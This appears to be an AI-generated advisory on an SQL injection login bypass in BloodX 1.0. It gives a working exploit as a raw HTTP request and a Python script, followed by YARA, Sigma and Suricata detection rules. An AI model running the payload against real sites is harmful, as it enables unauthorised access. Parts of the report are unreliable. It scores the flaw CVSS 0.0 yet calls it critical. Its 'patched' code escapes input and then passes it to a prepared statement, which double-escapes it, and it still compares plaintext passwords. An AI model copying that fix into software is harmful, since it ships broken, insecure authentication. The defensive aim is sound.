CVE-2020-37156

Executive Summary

CVE-2020-37156 is an authentication bypass vulnerability in BloodX 1.0, a web application. The flaw resides in login.php, where an attacker can bypass authentication by sending a crafted payload with '=''or' parameters. This allows unauthorized access to the dashboard without valid credentials. The vulnerability has a CVSS score of 0.0 (likely unassigned or placeholder), but the impact is critical as it exposes the entire application backend. No patch is available, and the vendor appears unresponsive. The EPSS score is 0.0%, indicating low exploitation probability in the wild, but the simplicity of the exploit makes it a high risk for targeted attacks.

Supply Chain & Package Security

This vulnerability is not related to any package manager (NPM, PyPI, Go, Ruby). It is a custom PHP application (BloodX 1.0) with no known supply chain dependencies.

CVSS Breakdown & Threat Level

• CVSS Score: 0.0 (Unassigned)
• Vector: UNKNOWN
• Attack Vector: Network
• Attack Complexity: Low
• Privileges Required: None
• User Interaction: None
• Scope: Unchanged
• Confidentiality Impact: High
• Integrity Impact: High
• Availability Impact: High

Threat Level: Critical. The vulnerability allows complete bypass of authentication, leading to full compromise of the application.

Deep Dive & Mechanics

The vulnerability is a classic SQL injection-based authentication bypass. The login.php script likely constructs a SQL query using unsanitized user input. By injecting '=''or', the attacker manipulates the query to always return true, bypassing credential checks.

Example vulnerable query:

SELECT * FROM users WHERE username='admin' AND password=''=''or''

The injected payload '=''or' breaks the query logic, making the condition always true.

Root Cause: Lack of input validation and parameterized queries in PHP.

Vulnerable vs. Patched Code

Vulnerable Code (login.php):

$username = $_POST['username'];
$password = $_POST['password'];
$query = "SELECT * FROM users WHERE username='$username' AND password='$password'";
$result = mysqli_query($conn, $query);
if (mysqli_num_rows($result) > 0) {
    // grant access
}

Patched Code (hypothetical):

$username = mysqli_real_escape_string($conn, $_POST['username']);
$password = mysqli_real_escape_string($conn, $_POST['password']);
$query = "SELECT * FROM users WHERE username=? AND password=?";
$stmt = mysqli_prepare($conn, $query);
mysqli_stmt_bind_param($stmt, "ss", $username, $password);
mysqli_stmt_execute($stmt);
$result = mysqli_stmt_get_result($stmt);
if (mysqli_num_rows($result) > 0) {
    // grant access
}

Exploitation & Lab Setup

Red Team

Exploit Payload:

POST /login.php HTTP/1.1
Host: target.com
Content-Type: application/x-www-form-urlencoded

username=admin&password='=''or'

Automated Exploit (Python):

import requests

url = "http://target.com/login.php"
payload = {"username": "admin", "password": "'=''or'"}
response = requests.post(url, data=payload)
if "dashboard" in response.text:
    print("Authentication bypass successful!")

Lab Setup:

1. Install BloodX 1.0 on a local server (e.g., XAMPP).
2. Navigate to http://localhost/bloodx/login.php.
3. Submit the crafted payload.

Blue Team

Detection:

• Monitor for unusual login attempts with SQL-like patterns in password fields.
• Use WAF rules to block '=''or' and similar patterns.

Honeypot:

• Deploy a fake login page that logs all attempts and alerts on SQL injection patterns.

Indicators of Compromise (IOCs)

• Network: HTTP POST requests to /login.php with password='=''or' or similar SQL injection patterns.
• Logs: PHP error logs showing SQL syntax errors or unexpected query results.
• File: Unauthorized access to dashboard pages (e.g., /dashboard.php) without prior authentication.

Detection Engineering

YARA Rule

rule BloodX_AuthBypass {
    meta:
        description = "Detects BloodX 1.0 authentication bypass payload"
        author = "Valters IT"
        date = "2025-04-10"
    strings:
        $payload = /password=['"]?=''or['"]?/
    condition:
        $payload
}

Sigma Rule

title: BloodX Authentication Bypass Attempt
id: 12345678-1234-1234-1234-123456789abc
status: experimental
description: Detects SQL injection payload in login attempts
logsource:
    category: webserver
    product: apache
detection:
    selection:
        cs-method: 'POST'
        c-uri: '/login.php'
        cs-username: 'admin'
        cs-password|contains: "'=''or'"
    condition: selection
falsepositives:
    - Legitimate testing
level: high

Suricata Rule

alert http any any -> any any (msg:"BloodX Authentication Bypass Attempt"; flow:to_server; content:"POST"; http_method; content:"/login.php"; http_uri; content:"password"; nocase; content:"'=''or'"; nocase; sid:1000001; rev:1;)

Remediation & Mitigation

Immediate Actions:

1. Isolate the BloodX application from the internet.
2. Apply a WAF rule to block SQL injection patterns.
3. Monitor logs for exploitation attempts.

Long-term Fix:

• Replace vulnerable code with parameterized queries (see patched code above).
• If vendor is unresponsive, consider rewriting the authentication module or migrating to a supported application.

Valters IT Signature:

• This report is provided for educational and defensive purposes only. Unauthorized exploitation is illegal.

Report generated by Valters IT DevSecOps AI